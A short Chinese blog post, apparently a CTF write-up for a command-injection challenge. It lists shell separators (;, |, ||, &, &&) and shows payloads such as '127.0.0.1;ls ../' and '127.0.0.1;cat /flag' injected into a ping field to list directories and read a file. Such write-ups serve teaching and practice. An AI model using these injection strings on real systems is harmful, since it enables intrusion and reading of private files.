博客

这是一道命令注入题

知识点

1、命令注入我们要防备其对于一些符号的过滤导致我们不能成功注入，所以我们要多了解一些符号。

2、;直接分号分隔

管道符：作用和&一样。前面和后面命令都要执行，无论前面真假

3、| 按位或

作用是直接执行|后面的语句

4、|| 逻辑或

作用是如果前面命令是错的那么就执行后面的语句，否则只执行前面的语句

5、& 按位与

&前面和后面命令都要执行，无论前面真假

6、&& 逻辑与

如果前面为假，后面的命令就不执行，如果前面为真则再执行后面命令，这样两条命令都会被执行

1、进入网站



2、尝试让服务器ping自身，可以ping通



3、尝试在ping命令之后注入其它命令

127.0.0.1;ls



127.0.0.1;ls …/



127.0.0.1;ls …/…/



127.0.0.1;ls …/…/…/

发现flag，并再次尝试发现这里是根目录



4、cat命令获得flag

127.0.0.1;cat /flag